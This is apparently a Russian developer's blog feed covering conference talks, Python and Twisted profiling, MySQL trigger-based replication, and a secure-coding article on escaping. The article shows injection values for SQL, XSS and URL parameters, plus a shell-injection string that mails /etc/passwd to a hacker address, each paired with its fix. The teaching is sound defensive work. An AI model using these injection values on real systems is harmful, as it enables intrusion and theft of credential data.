В апреле два раза рассказывал про "эффективную команду" на двух конференциях: в Ульяновске на Стачке и в Москве на РИТ++.
РИТ++ был организован на высоте, задавая планку качества конференций в России. По субъективным ощущением качество докладов выросло по сравнению с предыдущими годами. В Ульяновск стоило съездить только ради мемориала Ильича, очень теплая атмосфера, огромный большой зал, который, к сожалению до конца не наполнялся.
"Мне кажется, что то, что я делал год назад, "круче", чем то, чего я добился сегодня... День закончился, а у меня ощущение, что по сути я ничего не сделал... Наша команда увеличилась в два раза, а мы успеваем сделать меньше..." У вас уже были такие мысли? Я постараюсь найти ответ на эти вопросы в докладе.
Разработчики, тестировщики, менеджеры проектов и другие участники создания программных продуктов.
Презентация в формате PDF.
Запись со Стачки в Ульяновске, Большой зал, смотреть с 15:40.
Guppy - классный профилировщик памяти для Python. К сожалению, им довольно сложно пользоваться, а документация оставляет желать лучшего. Один из разработчиков pkgcore написал отличную статью об использовании Guppy, которая располагалась по адресу: http://www.pkgcore.org/trac/pkgcore/doc/dev-notes/heapy.rst. Статья больше недоступна, я нашел исходник на bitbucket и превратил в PDF/HTML для простоты использования:
Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей: никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют "расслабиться" и забыть о том, что такое escaping (по крайней мере до какой-то степени). Не смотря на это, все еще необходимо понимать, что такое escaping, зачем он нужен, когда и какой.
Отсутствие правильного escaping (впрочем, как и избыточный и неуместный escaping) приводит к ошибкам и уязвимостям (проблемам безопасности) в web-приложениях. Обычно уязвимость состоит в том, что приложение получает данные из различных внешних источников (от пользователя, из других приложений), эти данные приложение вставляет строчку, которая впоследствие будет обработана третьей системой (базой данных, браузером, интерпретатором и т.п.) При этом при передаче особым образом подготовленных данных удается совершить действие, которое не должно было произойти.
Типичная уязвимость: SQL Injection.
Пример кода (авторизация по логину и паролю):
<?php runQuery("SELECT id FROM users WHERE login='$login' AND password='$password'");
Если значения переменных $login и $password получены от пользователя (например, через форму авторизации), можно в поле password ввести значение вида: ' OR '' = ', тогда после подстановки получится такой запрос:
SELECT id FROM users WHERE login='login' AND password='' OR '' = ''
Условие WHERE всегда истинно, для любой строчки БД. В зависимости от вида запроса, способа авторизации такое поведение приведет к возможности авторизации, не зная пароля.
Проблема состоит в том, что при прямой подстановке значения переменной $password мы смогли изменить смысл исходного запроса.
Что делать (в порядке от плохого к хорошему):
Примечание: один из моих любимых вопросов на собеседовании - "SQL injection и как его избежать". В 50% случаев я слышу про то, что надо фильтровать пользовательские данные. Это не может быть универсальным способом! Пользователь может совершенно разумно хотеть написать одинарную кавычку в том текстовом поле, значение которого будет передано вашему приложению. Валидация или фильтрация данных - дополнительная возможность, которая происходит на уровне модели вашего приложения, но escaping происходит на уровне, уже непосредственно взаимодействующем с БД.
Типичная уязвимость: XSS, типичные exploitы.
В разметке HTML есть некоторое количество символов, которые имеют особый смысл: &"'. Проблема возникает, когда в текст (между элементами HTML) попадают данные, которые содержат мета-символы HTML, перечисленные выше.
Пример (PHP):
<span class="author"><?= $user->nickname ?></span>
Если в качестве $user->nickname пользователь введет:
<script>alert("hi!")</script>
То все посетители сайта, которые посещают страницу, содержащую вышеприведенный код, получат окошко c "hi!".
Должно быть так (htmlspecialchars осуществляет замены вида ">" -> ">" и т.п.):
<span class="author"><?= htmlspecialchars($user->nickname) ?></span>
Необходимо отметить, что решения из разряда "фильтрации", описанные в примечании к SQL-escape, не всегда работают по тем же самым причинам. Типичный поток данных для данной уязвимости - пользователь (например, ввод в форме) -> БД -> вывод на страницу в HTML. При этом HTML escaping должен происходить при выводе данных, а не при записи в БД, т.к. данные в БД могут использоваться и для вывода в другие форматы (например, PDF).
Второй разновидностью данной проблемы является динамическая генерация HTML в контексте страницы, например, с помощью jQuery:
$('#nickname').update('<span>' + data['nickname'] + '</span>');
Должно быть так:
$('#nickname').update($('<span>').text(data['nickname']));
Фукнция text в отличие от update изменяет только текстовые узлы DOM-дерева и не интерпретирует (добавляет "как есть") любую HTML-разметку.
Как избежать подобных проблем:
Типичная уязвимость: XSS.
Не менее часто в сегодняшних сложных web-приложениях необходимо передать данные с серверной части в JavaScript-код через HTML страницу. Для этого чаще всего генерируется в шаблоне такой JavaScript-код:
<script type="text/javascript"> var user = '<?=$username?>'; </script></pre>
Теперь представим, что будет, если я в качестве $username напишу '+alert(document.cookies) + '. Нехорошо получается? Ответ простой - сегодня все языки программирования поддерживают возможность преобразования данных в JSON. А это как раз тот вид escape, который нам нужен! Причем у нас появляется передавать в JavaScript сложные данные (массивы, объекты), а также свободно обрабатывать случаи null и т.п.:
:javascript var user = #{@user.name.to_json};
(Кавычки вокруг строки уже указывать не нужно).
Как избежать: преобразуйте данные в JSON перед вставкой в JavaScript-код.
URL - это тоже далеко не такая простая вещь, как кажется на самом деле. В URL используется множество символов, которые имеют особый смысл: ?&=/. Чаще всего проблема возникает при построении URL динамически, а при этом в качестве части URL необходимо использовать переданные пользователем данные. Пусть, например, нам надо построить URL страницы поиска для ссылки с тега какого-то объекта:
<?php "http://example.com/search/?q=" . $tag->name
Если ограничений особенно жестких на имя тега нет, мы можем получить несколько другой URL, чем мы планировали. Например, добавить еще один параметр через &val=xxx в имени тэга. В результате, пользователь, кликнувший по ссылке на такой тэг в списке тэгов может попасть совсем не на страницу тэга, а на другую страницу сайта (результат будет зависеть во многом от схемы формирования ссылок).
Как избежать: используйте urlencode-подобные функции при формировании компонентов URL, или, еще лучше: используйте "сборщики ссылок", которые отдельно принимают схему протокола, имя хоста, URI, GET-параметры и т.п. Пример - link_to в Rails.
Типичная уязвимость: получение shell-доступа к удаленному серверу.
При выполнении команд в ответ на запрос с использованием параметров, переданных клиентом (это могут быть как строки, так и, например, имена файлов), можно использовать различные способы запуска команд. Одним из таких способов является команда system или ее различные варианты:
<?php $image = $_GET['image']; $result = system("/usr/bin/process_image '$image'");
В данный код в качестве значения переменной $image можно передать, например, следующее:
'; (cat /etc/passwd | mail cool@hacker.org); echo '
В чем здесь проблема?
Как избежать:
<?php $image = $_GET['image']; $result = system("/usr/bin/process_image ".escapeshellarg($image));
Иногда необходимо забирать данные из БД MySQL в режиме реального времени во внешнюю систему, которая никак не связана с MySQL. Существует множество возможных решений, например, можно реализовать "слейва" MySQL, который бы хранил полученные данные во внешней системе.
Одно из возможных решений - сделать "выгрузку" данных из MySQL с помощью UDF (User Defined Functions) и триггеров. Для этого необходимо поставить слейв MySQL, на котором уже повесить на интересующие таблицы триггеры, которые с помощью UDF будут выгружать поток изменений таблиц во внешнюю систему. Слейв необходим, т.к. если триггеры поставить на мастере, то в случае отката транзакции действия, уже сделанные триггерами, откатить не получится, а на слейв попадают только зафиксированные транзакции. Второе,чтобы триггеры работали на слейве, тип репликации должен быть выставлен на STATEMENT-based.
Порывшись в одном интересном архиве UDF для MySQL я нашел несколько функций, которые мне подошли:
В результате получился следующий план действий: данные модифицируются на мастере, реплицируются на слейв с помощью STATEMENT-репликации. В процессе репликации на слейве запускаются триггеры, формируют с помощью UDF пакет обновлений в JSON, и передают его во внешнюю очередь (memcacheq) по memcached-протоколу. Конечно, это не единственный возможный способ, но все UDF уже были почти готовы. После доделывания напильником UDF получился вполне стабильно работающий вариант.
Триггеры выглядят примерно следующим образом:
CREATE FUNCTION kick_photos (row_id INT) RETURNS INT BEGIN SELECT memc_set('queue_db', (json_object('insert' AS action, 'photos' AS table_name, photos.id AS id, json_members('data', json_object(photos.user_id AS `user_id`,photos.width AS `width`,photos.created_at AS `created_at`,photos.filename AS `filename`,photos.parent_id AS `parent_id`,photos.content_type AS `content_type`,photos.height AS `height`,photos.thumbnail AS `thumbnail`,photos.size AS `size`))))) INTO @dummy FROM photos WHERE id = row_id; RETURN @dummy; END CREATE TRIGGER photos_INSERT AFTER INSERT ON photos FOR EACH ROW SET @dummy = memc_set('queue_db', (json_object('insert' AS action, 'photos' AS table_name, NEW.id AS id, json_members('data', json_object(NEW.user_id AS `user_id`,NEW.parent_id AS `parent_id`,NEW.created_at AS `created_at`,NEW.filename AS `filename`,NEW.width AS `width`,NEW.content_type AS `content_type`,NEW.height AS `height`,NEW.thumbnail AS `thumbnail`,NEW.size AS `size`))))); CREATE TRIGGER photos_DELETE BEFORE DELETE ON photos FOR EACH ROW SET @dummy = memc_set('queue_db', (json_object('delete' AS action, 'photos' AS table_name, OLD.id AS id, json_members('data', json_object(OLD.user_id AS `user_id`,OLD.parent_id AS `parent_id`,OLD.created_at AS `created_at`,OLD.filename AS `filename`,OLD.width AS `width`,OLD.content_type AS `content_type`,OLD.height AS `height`,OLD.thumbnail AS `thumbnail`,OLD.size AS `size`))))); CREATE TRIGGER photos_UPDATE AFTER UPDATE ON photos FOR EACH ROW BEGIN IF json_object(OLD.user_id AS `user_id`,OLD.parent_id AS `parent_id`,OLD.created_at AS `created_at`,OLD.filename AS `filename`,OLD.width AS `width`,OLD.content_type AS `content_type`,OLD.height AS `height`,OLD.thumbnail AS `thumbnail`,OLD.size AS `size`) <> json_object(NEW.user_id AS `user_id`,NEW.parent_id AS `parent_id`,NEW.created_at AS `created_at`,NEW.filename AS `filename`,NEW.width AS `width`,NEW.content_type AS `content_type`,NEW.height AS `height`,NEW.thumbnail AS `thumbnail`,NEW.size AS `size`) THEN SET @dummy = memc_set('queue_db', (json_object('update' AS action, 'photos' AS table_name, OLD.id AS id, json_members('new', json_object(NEW.user_id AS `user_id`,NEW.parent_id AS `parent_id`,NEW.created_at AS `created_at`,NEW.filename AS `filename`,NEW.width AS `width`,NEW.content_type AS `content_type`,NEW.height AS `height`,NEW.thumbnail AS `thumbnail`,NEW.size AS `size`)), json_members('old', json_object(OLD.user_id AS `user_id`,OLD.parent_id AS `parent_id`,OLD.created_at AS `created_at`,OLD.filename AS `filename`,OLD.width AS `width`,OLD.content_type AS `content_type`,OLD.height AS `height`,OLD.thumbnail AS `thumbnail`,OLD.size AS `size`))))); END IF; END;
Комментарии:
Код UDF доступен на github, это - "подпиленный" код из репозитория UDF или собственные разработки:
25-26 октября состоялся HighLoad-2010, конференция получилось хорошей хотя бы потому, что было мало докладов ни о чем. Неплохой уровень, особенно было приятно увидеть "профессоров" PostgreSQL.
Я выступал с докладом "Приемы разработки высоконагруженных приложений на Twisted/Python". В докладе получилась (вполне сознательно) сборная солянка из советов и приемов о том, как писать приложения на Twisted (и похожих frameworkах). Из-за большого количества разных тем не получилось углубиться ни в одну, каюсь...
Тезисы:
Презентация:
Утащить:

Часто сам забываю, как профилировать легко и быстро Twisted-приложения (с некоторым изменениями подойдет для любых Python-приложений). Кроме Twisted нам понадобится еще KCachegrind.
Запускаем наше приложение с включенным профайлингом:
twistd -n --savestats --profile=myprog.hotshot myprog
Подаем нагрузку, профайл собирается. Теперь с помощью утилиты hotshot2cg из поставки KCachegrind превращаем hotshot-профайл в calltree-профайл, который уже умеет KCachegrind "кушать".
hotshot2cg myprog.hotshot > myprog.calltree
Запускаем KCachegrind, открываем в нем полученный профайл:
kcachegrind myprog.calltree
Описанная особенность MySQL попалась мне на глаза слишком поздно, пишу, чтобы кто-то не напоролся на те же грабли. Начнем с начала. Итак, необходимо было отслеживать изменения MySQL-базы данных и складывать эти изменения в очередь (не в БД) для дальнейшей обработки внешней системой. Для отслеживания изменений подходят триггеры, но они активируются в процессе выполнения запросов транзакции и в случае последующего "rollback" не будут откатываться (что совершенно нормально для триггеров, влияющих только на состояние БД, т.к. состояние БД будет корректно откатываться). Поэтому необходимо выполнять триггеры только для успешных транзакций: проще всего это достигнуть с помощью репликации - на слейв передаются только запросы зафиксированных транзакций. Таким образом, мастер-БД не содержит триггеров, после репликации данные попадают на слейв, таблицы на котором обвешаны триггерами, те активируются и данные попадают в очередь. Казалось бы, все замечательно?
Однако MySQL не был бы MySQL, если бы не какие-нибудь приколы на пути. Читаем раздел 16.3.1.29 документации: триггеры на слейве выполняются только при использовании STATEMENT-based репликации, при использовании ROW-based репликации они выполняются на мастере. ROW-based репликация - одно из нововведений 5.1, при котором на слейв передаются не запросы (текст запроса), измененный в БД записи (подробнее см. раздел 16.1.2). Но это было бы еще полбеды - попробовал, увидел, что триггеры не выполняются, и пошел разбираться. Однако в MySQL придумали еще режим репликации MIXED: при этом сервер сам переключается между STATEMENT и ROW-based репликацией (я не нашел, по какому условию). Далее, в версиях MySQL от 5.1.12 до 5.1.29 режимом репликации по умолчанию выбирается как раз MIXED. Как вы уже догадываетесь, в MIXED-режиме триггеры на слейве то выполняются, то нет, при этом внешне это совершенно незаметно. Так прекрасно работавший слейв в один прекрасный день вдруг перестает поставлять обновления в очередь, хотя сам по себе слейв не отстал и содержит все данные.
Итого, несколько часов на поиск проблемы, работа по пересинхронизации данных во внешней системе... Спасибо, MySQL!
Кратко: чтобы триггеры на слейве всегда выполнялись, надо добавить в my.cnf (на мастере):
[mysqld]
binlog-format=STATEMENT
Сегодня выступал на HighLoad++ с докладом Twisted Framework - фреймворк для написания сетевых приложений в Python.
Последнее время в области web происходит смещение внимания с тяжелых application-серверов, которые тратят на обработку запроса сотни миллисекунд, а то и секунды, к более легковесным сервисам, передающим меньшие объемы данных с минимальной задержкой. Переход от генерации десятков и сотен килобайт HTML-кода в ответ на запрос к передаче изменений в данных, запакованных в JSON и измеряемых сотнями байт. В качестве примеров таких сервисов можно привести Gmail, FriendFeed, Twitter Live Search и т.п.
Для обеспечения минимальной задержки для пользователя необходимо либо поддерживать постоянное соединение (например, Adobe Flash, RTMP) или использовать технику HTTP long polling в сочетании с keep alive. Так или иначе на стороне сервера это приводит к появлению большого количества одновременных соединений (тысячи, десятки тысяч), по каждому из которых передается не такой большой объем данных. Эту ситуацию называют обычно проблемой C10k.
Для обработки соединений архитектурный выбор на стороне сервера не такой большой: процесс на соединение, нить на соединение, комбинированный вариант процесс-нити или асинхронный ввод-вывод (возможно, в сочетании с дополнительными процессами или нитями). При наличии более 10 тысяч одновременных соединений с точки зрения расхода ресурсов совершенно невозможно представить создание 10 тысяч процессов; 10 тысяч нитей также вряд ли будет разумным решением. Необходимо дополнительно учесть, что при наличии такого большого числа соединений объем работы по каждому из них относительно невелик, большинство их них простаивают в ожидании поступления новых данных. Поэтому бóльшая часть процессов или нитей будет просто находиться в состоянии ожидания, расходуя впустую системные ресурсы.
Асинхронный ввод-вывод позволяет осуществлять неблокирующийся сетевой ввод-вывод по тысячам открытых сокетов в рамках одной нити выполнения (одного процесса). Механизмы реализации в разных ОС разные, например: select(), poll(), epoll(), kqueue() и т.п. Примеры приложений, использующих асинхронный ввод-вывод:
Тем не менее, асинхронный ввод-вывод не является универсальным решением: для сервера БД это вряд ли было бы хорошим способом организации обслуживания соединений, так как для обработки каждого запроса требуется большой объем дискового ввода-вывода и процессорного времени, что не позволяет это сделать в рамках одного процесса.
Twisted Framework — это обширный набор классов и модулей для реализации асинхронных сетевых приложений. Twisted Framework — это:
Основная часть доклада будет посвящена конкретным примерам приложений, реализованными с помощью Twisted — с архитектурой, конкретными параметрами производительности, приемами оптимизации, преимуществами и недостатками Twisted для решения данной задачи:
Дополнительная информация:
Предыдущая конфигурация:
Проблемы:
Новая конфигурация:
Результат:

Комментарий: переход на Phusion Passenger на Week 39, объем занятой памяти - это белая область на графике, растущая сверху вниз. До перехода на Passenger объем свободной памяти стремительно уменьшался, иногда доходя до нуля, после перехода остается более-менее стабильным. Использование CPU осталось на прежнем уровне (как и ожидалось).
После перехода исчезли запросы, которые по непонятным причинам занимали десятки секунд - время выполнения коррелирует со сложностью запроса.
Так что если вы еще не переключились, мы идем к вам :)
P.S. Отдельное спасибо glebpom за подсказку.

На HighLoad++-2009 буду выступать с докладом Twisted Framework - фреймворк для написания сетевых приложений в Python. Конференция будет проходит 12-13 октября 2009 г. в Инфопространстве. Приглашаю всех желающих!
Тезисы доклада: